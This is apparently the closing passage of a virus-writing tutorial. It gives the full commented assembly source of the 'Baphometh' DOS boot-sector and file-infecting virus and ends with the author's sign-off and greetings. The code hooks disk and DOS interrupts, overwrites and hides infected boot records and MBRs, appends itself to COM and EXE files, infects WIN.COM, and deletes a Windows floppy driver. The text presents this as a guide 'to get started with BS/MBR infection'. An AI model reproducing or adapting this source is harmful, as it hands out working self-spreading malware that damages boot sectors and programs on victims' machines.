 DosFinishedLoading db 0

 EvilInt13h:                            ; INT 13h handler
  pushf
  cmp ah,0F2h                           ; installation check is INT 13h/0F2h
  jne NoInstallCheck
  mov bx,4321h
  popf
  iret
 NoInstallCheck:
  cmp ah,2                          ; something read?
  jne NotForUs
  cmp cx,1                          ; from cylinder 0 / sector 1?
  jne NotForUs
  cmp dh,0                          ; and head 0?
  jne NotForUs                      ; if not, exit

  popf
  call OldInt13h                    ; else read it,
  jnc EatIt                         ; and eat it :-)

  retf 2

 NotForUs:
 popf
 db 0EAh
 GoodInt13h dd ?

 OldInt13h:
  pushf
  call dword ptr cs:[GoodInt13h]
  ret

 EatIt:                                 ; BS/MBR infection/stealth routine
  pushf
  pusha
  push ds
  push es

  cmp es:[bx+Marker],'DT'               ; is the read BS/MBR infected yet?
  jne InfectSector

  mov ax,0201h                          ; if yes, stealth it
  call GetStealthSector
  call OldInt13h

  jmp Done

 GetStealthSector:                      ; this routine is used to get the
  mov cx,2                              ; position of the original BS/MBR,
  mov dh,0                              ; it is stored at cylinder 0,
  cmp dl,80h                            ; head 0, sector 2 on HDD's - and on
  jae NoFloppy                          ; cylinder 0, sector 14, head 1 on
  mov cx,14                             ; floppies.
  mov dh,1
 NoFloppy:
  ret

 InfectSector:                      ; infection routine
  mov ax,0301h                      ; first it saves the original BS/MBR
  call GetStealthSector
  call OldInt13h

  push es
  pop ds
  push cs
  pop es

  mov si,bx                         ; copies the BS's BPB (3Ch bytes) into
  push si                           ; the virus:offset 3
  add si,2
  lea di,[StartOfBaphometh+2]
  mov cx,3Ch
  rep movsb

  pop si
  add si,1BEh
  lea di,PartitionTable
  mov cx,40h                        ; and the partition table (40h bytes) to
  rep movsb                         ; offset 1BEh

  mov ax,0301h                      ; then overwrites the original BS/MBR
  lea bx,StartOfBaphometh           ; with the virus
  mov cx,1
  mov dh,0
  call OldInt13h

  mov ax,0302h                      ; and saves the left 2 sectors of the
  lea bx,EndOfFirstPart             ; virus
  call GetBaphomethSector
  call OldInt13h

 Done:
  pop es
  pop ds
  popa
  popf
  retf 2

 Header db 1Ch dup(?)
 FileSize dd ?

;  db 'X' ;------

 ORG 1beh

 PartitionTable:
  db 64 dup('P')
  db 55h,0AAh

 EndOfFirstPart:                ; this is the end of the first part of the
                                ; virus, everything below that offset got
                                ; manually loaded somewhere in the above
                                ; code.

 EvilInt24h:                    ; INT 24h handler
  iret                          ; ... hooked when infecting a file, to
 GoodInt24h dd ?                ; prevent the error message if a disk is
                                ; write protected.

 HookInt21h:                    ; this is the routine which hooks int 21h,
  pusha                         ; it gets called by the timer interrupt 1Ch
  push ds                       ; after 10 seconds.

  xor ax,ax
  mov ds,ax

  lea ax,EvilInt21h
  mov bx,cs
  cli
  xchg ax,ds:[21h*4]
  xchg bx,ds:[21h*4+2]
  mov word ptr cs:[GoodInt21h],ax
  mov word ptr cs:[GoodInt21h+2],bx
  sti

  pop ds
  popa
  ret

 EvilInt21h:                    ; INT 21h handler
  pushf
  cmp ax,0DEADh                 ; 0DEADh is the installation check
  jne NoInt21InstallCheck
  mov bx,0BCBCh
  popf
  iret
 NoInt21InstallCheck:
  cmp ah,4bh                    ; infect on execution (func 4Bh)
  je InfectFile
 RestoreInt21h:                 ; else exit
  popf
 db 0eah
 GoodInt21h dd ?

 InfectFile:
  pusha
  push ds es

  push ds
  xor ax,ax
  mov ds,ax

  lea ax,EvilInt24h                     ; at first hook int 24h to prevent
  mov bx,cs                             ; any error messages
  cli
    xchg ax,word ptr ds:[24h*4]
    xchg bx,word ptr ds:[24h*4+2]
    mov word ptr cs:[GoodInt24h],ax
    mov word ptr cs:[GoodInt24h+2],bx
  sti
  pop ds

  mov ax,4300h                          ; save file attributes
  int 21h

  push dx ds cx

  mov ax,4301h                          ; set file attributes to zero
  xor cx,cx
  int 21h
  jnc NoErrorsWritingToDisk             ; if there was an error when setting
  jmp FileError                         ; the attributes the disk is probably
                                        ; write protected, so it doesn't
                                        ; continue infection.

 NoErrorsWritingToDisk:
  mov ax,3d02h                      ; open the file
  int 21h
  jnc Opened
  jmp FileError

 Opened:
  xchg ax,bx

  push cs cs
  pop ds es

  mov ax,5700h                  ; save file time/date
  int 21h

  push cx dx

  mov ah,3fh                    ; read 1Ch bytes (the header)
  lea dx,Header
  mov cx,1Ch
  int 21h

  cmp word ptr cs:[Header],'ZM' ; EXE check
  jne ExeCheck
  jmp InfectEXE
 ExeCheck:
  cmp word ptr cs:[Header],'MZ'
  jne SysCheck
  jmp InfectEXE
 SysCheck:
  cmp word ptr cs:[Header],0ffffh   ; if its a SYS file that gets executed
  je CloseFile                      ; it exits this routine as it can't
                                    ; infect such files. SYS files begin
                                    ; with the bytes FF FF and are also
                                    ; executed with function 4Bh while
                                    ; processing the config.sys.

 InfectCOM:             ; routine used to infect COM files
  mov ax,4202h          ; set file pointer to the end
  xor cx,cx
  xor dx,dx
  int 21h

  cmp dx,0              ; if its too big - exit
  ja CloseFile

  push ax               ; standard COM infection check
  sub ax,(EndOfBaphometh - FileEntryPoint) + 3
  cmp ax,word ptr cs:[Header+1]
  pop ax
  jne ComReadyToBeInfected
  jmp CloseFile

 ComReadyToBeInfected:
  mov byte ptr cs:[WeAre],COM   ; set the flag WeAre to COM so the virus know
                                ; 'what it is' :-)

  sub ax,3                      ; calculate the new JMP at the beginning
  add ax,FileEntryPoint - StartOfBaphometh
  mov word ptr cs:[NewJmp+1],ax

  mov ax,4202h                  ; seek to EOF - 2
  mov cx,-1
  mov dx,-2
  int 21h

  mov ah,3fh                    ; read the ENUNS (- a checksum used by
  lea dx,ENUNS                  ; Win9x/NT COM files)
  mov cx,2
  int 21h

  add word ptr cs:[ENUNS],EndOfBaphometh - StartOfBaphometh ; adjust
                                                            ; the checksum

  mov word ptr cs:[ENUNS-5],'NE'
  mov word ptr cs:[ENUNS-3],'NU'
  mov byte ptr cs:[ENUNS-1],'S'

  mov ah,40h                    ; attach bapho to the end of the file
  lea dx,StartOfBaphometh
  mov cx,EndOfBaphometh - StartOfBaphometh
  int 21h

  mov ax,4200h                  ; go to the beginning,
  xor cx,cx
  xor dx,dx
  int 21h

  mov ah,40h                    ; and write the new JMP which gives control
  lea dx,NewJmp                 ; to the virus when the file gets executed.
  mov cx,3
  int 21h

 CloseFile:
  mov ax,5701h                  ; restore file date/time
  pop dx cx
  int 21h

  mov ah,3eh                    ; close it
  int 21h


 FileError:
  pop cx ds dx

  mov ax,4301h                  ; restore its attributes
  int 21h

  xor ax,ax
  mov ds,ax

  mov ax,word ptr cs:[GoodInt24h]   ; also restore the INT 24h handler
  mov bx,word ptr cs:[GoodInt24h+2]
  cli
    mov word ptr ds:[24h*4],ax
    mov word ptr ds:[24h*4+2],bx
  sti

  pop es ds
  popa
  jmp RestoreInt21h                 ; and exit the infection routine.

 FileEntryPoint:                ; this is the entry point if an infected file
  push ds es                    ; gets executed

  call Delta                    ; calculate the delta offset
 Delta:
  pop bp
  sub bp,offset Delta

  mov ax,0DEADh
  int 21h                       ; installation check
  cmp bx,0BCBCh
  jne GoTSR
  jmp ManualMBRInfection

 GoTSR:
  mov ax,ds
  dec ax
  mov ds,ax                 ; ds = MCB

  sub word ptr ds:[3],40h*4     ; decrease memory block size in MCB and
  sub word ptr ds:[12h],40h*4   ; PSP by 4KB

  xor ax,ax
  mov ds,ax

  sub word ptr ds:[413h],4      ; also top of memory gets decreased by 4KB
  mov ax,word ptr ds:[413h]
  shl ax,6

  mov es,ax

  push cs
  pop ds

  lea si,[bp+StartOfBaphometh]  ; copy the virus to the free memory
  xor di,di
  mov cx,EndOfBaphometh - StartOfBaphometh
  rep movsb

                         ; this is the manual WIN.COM infection routine,
                         ; it is only used here because of the problem #1
                         ; which i have described above, the virus is not
                         ; able to infect the MBR if an infected file gets
                         ; executed in windows. thus the virus infects
                         ; WIN.COM, then the MBR will get infected the next
                         ; time WIN.COM is run.
                         ; this has been improved in version 2 of baphometh
                         ; with the fake INT 13h call.

  lea ax,[bp+ReturnHere] ; the virus will jump to the INT 21h routine with
  mov word ptr es:[GoodInt21h],ax   ; AH = 4BH, DS:DX = C:\WINDOWS\WIN.COM.
  mov word ptr es:[GoodInt21h+2],cs ; To be able to continue execution below
  mov word ptr cs:[bp+TSRVirusSegment],es ; it first sets a fake GoodInt21h
                                          ; address.

  mov ah,4bh            ; ah = 4bh -> execute file function
  lea dx,[bp+WinDotCom] ; C:\WINDOWS\WIN.COM
  pusha
  push ds es
                  db 0eah           ; JMP FAR to
                  dw EvilInt21h     ; address of EvilInt21h
  TSRVirusSegment dw ?              ; segment where the virus was copied to.

 ReturnHere:            ; after win.com got infected execution will continue
  pop es ds             ; here
  popa

  xor ax,ax
  mov ds,ax

  lea ax,EvilInt21h         ; hook int 21h
  mov bx,es
  cli
  xchg ds:[21h*4],ax
  xchg ds:[21h*4+2],bx
  mov word ptr es:[GoodInt21h],ax
  mov word ptr es:[GoodInt21h+2],bx
  sti

 ManualMBRInfection:            ; this routine places a copy of the virus
  push cs cs                    ; into the MBR of your first HDD
  pop es ds

   mov ah,41h                   ; here it deletes the 32bit floppy driver
   lea dx,[bp+HsflopDotPdr]     ; HSFLOP.PDR to be able to infect floppies
   int 21h                      ; when they are accessed in windows.
                                ; these 3 lines of code are the solution
                                ; to problem #3 :-)

   mov ax,0201h                 ; read the original MBR
   mov dx,80h
   mov cx,1
   lea bx,[bp+EndOfBaphometh]
   int 13h

   lea bx,[bp+offset EndOfBaphometh]    ; just to make sure, an infection
   add bx,offset Marker                 ; check
   cmp word ptr cs:[bx],'DT'
   jne MBRNotYetInfected
   jmp Restore

  MBRNotYetInfected:            ; save the partition table in the virus
   lea si,[bp+EndOfBaphometh]
   add si,1BEh        
   lea di,[bp+PartitionTable]
   mov cx,40h
   rep movsb

   mov ax,0301h                 ; save the original MBR at sector 2
   mov dx,80h
   mov cx,2
   lea bx,[bp+EndOfBaphometh]
   int 13h

   mov dx,80h                       ; overwrite the MBR with bapho's first
   mov ax,0301h                     ; part
   lea bx,[bp+StartOfBaphometh]
   mov cx,1
   int 13h

   mov dx,80h                       ; and save the rest of bapho at sector
   mov ax,0302h                     ; 3 and 4
   lea bx,[bp+StartOfBaphometh]
   add bx,512
   mov cx,3
   int 13h

 Restore:
  cmp byte ptr cs:[bp+WeAre],EXE    ; this is the routine which gives control
  je RestoreEXE                     ; back to the host, it checks if the
                                    ; executed file was either a COM or EXE
                                    ; file using the WeAre flag.

  pop es ds

 RestoreCom:                        ; simple COM restoring routine, just
  lea si,[bp+Header]                ; copy the 3 original bytes back,
  mov di,100h
  movsw
  movsb

  push 100h                         ; and jump to 100h (com entry point)
  ret

 NewJmp db 0e9h,0,0                 ; just some variables...
 WeAre db EXE                       ; initially bapho gets compiled to an EXE
 WinDotCom db 'c:\windows\win.com',0    ; path's to some important files :-)
 HsFlopDotPdr db 'c:\windows\system\iosubsys\hsflop.pdr',0

 RestoreEXE:                    ; routine to restore the exe file
  lea si,[bp+Original_IP]       ; first copy the value from original_ip to
  lea di,[bp+Old_IP]            ; old_ip
  mov cx,4
  rep movsw

  pop es ds

  mov ax,es                     ; ax = PSP
  add ax,10h                    ; ax + 10(paragraphs) = code/data image
                                ; address

  add word ptr cs:[bp+Old_CS],ax    ; adjust the relative CS,
  cli
  add ax,word ptr cs:[bp+Old_SS]    ; and SS values
  mov ss,ax
  mov sp,word ptr cs:[bp+Old_SP]    ; restore SP
  sti

 db 0eah                        ; now jump to the original exe entry point.
 Old_IP dw ?
 Old_CS dw ?
 Old_SS dw ?
 Old_SP dw ?
 Original_IP dw offset DummyFile
 Original_CS dw 0
 Original_SS dw 0
 Original_SP dw 0FFFEh

 InfectEXE:                 ; routine used to infect an exe file
  cmp word ptr cs:[Header+18h],40h  ; check if its a new exe file
  jb NoNewEXE
  jmp CloseFile ; if it is, exit because it can't infect NE/PE/LE,... files
 NoNewEXE:
  cmp word ptr cs:[Header+12h],'DT' ; infection check
  jne EXENotYetInfected
  jmp CloseFile

 EXENotYetInfected:                 ; if not yet infected, save SS, SP, IP
  mov byte ptr cs:[WeAre],EXE       ; and CS, and mark the file as infected.
  mov word ptr cs:[Header+12h],'DT'
  mov ax,word ptr cs:[Header+0Eh]
  mov word ptr cs:[Original_SS],ax
  mov ax,word ptr cs:[Header+10h]
  mov word ptr cs:[Original_SP],ax
  mov ax,word ptr cs:[Header+14h]
  mov word ptr cs:[Original_IP],ax
  mov ax,word ptr cs:[Header+16h]
  mov word ptr cs:[Original_CS],ax

  mov ax,word ptr cs:[Header+4]     ; this whole routine checks if the
                                    ; file has overlays by calculating the
  cmp word ptr cs:[Header+2],0      ; the filesize from the header and by
  je NoRemainder2                   ; comparing it to the real filesize. if
  dec ax                            ; they do not match the file has overlays
 NoRemainder2:                      ; and doesn't get infected.
                                    ;
  mov cx,512                        ;
  mul cx                            ;
                                    ;
  add ax,word ptr cs:[Header+2]     ;
  adc dx,0                          ;
                                    ;
  mov word ptr cs:[FileSize],ax     ;
  mov word ptr cs:[FIleSize+2],dx   ;
                                    ;
  mov ax,4202h                      ;
  xor cx,cx                         ;
  xor dx,dx                         ;
  int 21h                           ;
                                    ;
  cmp word ptr cs:[FileSize],ax     ;
  je MightHaveNoOverlays            ;
  jmp CloseFile                     ;
 MightHaveNoOverlays:               ;
  cmp word ptr cs:[FileSize+2],dx   ;
  je HasNoOverlays                  ;
  jmp CloseFile                     ;

 HasNoOverlays:                     ; if it has no overlays the infection
  push ax dx                        ; process continues here,

  add ax,EndOfBaphometh - StartOfBaphometh  ; calculate a new filesize
  adc dx,0                          ; (old size + virus code)
                                    ;
  mov cx,512                        ;
  div cx                            ;
                                    ;
  cmp dx,0                          ;
  je NoRemainder                    ;
  inc ax                            ;
 NoRemainder:                       ;
                                    ;
  mov word ptr cs:[Header+4],ax     ; save new file size
  mov word ptr cs:[Header+2],dx     ;

  pop dx ax                         ; calculate new entry point
                                    ;
  mov cx,16                         ;
  div cx                            ;
                                    ;
  add dx,offset FileEntryPoint      ;
                                    ;
  mov cx,word ptr cs:[Header+8]     ;
  sub ax,cx                         ;

  mov word ptr cs:[Header+16h],ax   ; save new CS, IP, SS, SP
  mov word ptr cs:[Header+14h],dx
  mov word ptr cs:[Header+0eh],ax
  mov word ptr cs:[Header+10h],0fffeh

  lea di,[ENUNS-5]                  ; when infecting an EXE the virus has
  xor al,al                         ; to remove the string ENUNS, else the
  mov cx,5                          ; enuns file will crash.
  rep stosb

  mov ah,40h                        ; attach baphometh to the file
  lea dx,StartOfBaphometh
  mov cx,EndOfBaphometh - StartOfBaphometh
  int 21h

  mov ax,4200h
  xor cx,cx
  xor dx,dx
  int 21h                           ; go to the beginning,

  mov ah,40h                        ; and overwrite the old header with the
  lea dx,Header                     ; patched one
  mov cx,1Ch
  int 21h
  
  jmp CloseFile                     ; done

 DummyFile:                 ; this is just a dummy file, it will get executed
  mov ax,4C00h              ; only the first time the virus is run.
  int 21h

 db '- $BAPHOMETH$',0,'v1',0,'~CAD! /AVM /CB -'

 ORG 1529
 db 'ENUNS'
 ENUNS dw ?

 EndOfBaphometh:

Baphometh ends
end FileEntryPoint

 --- Virus source code ends here ---

Well, I hope that this was everything you need to know to get started with BS/MBR infection.

Finally I'd like to thank CTRL-ALT-DEL for showing me how to write this type of viruses and for providing source codes of his viruses Baphometh v1 - v2.1, greets also go to Opic for helping me a bit with writing this tutorial :-)

peace, --SPo0Ky
spooky@nym.alias.net
http://mrspook.cjb.net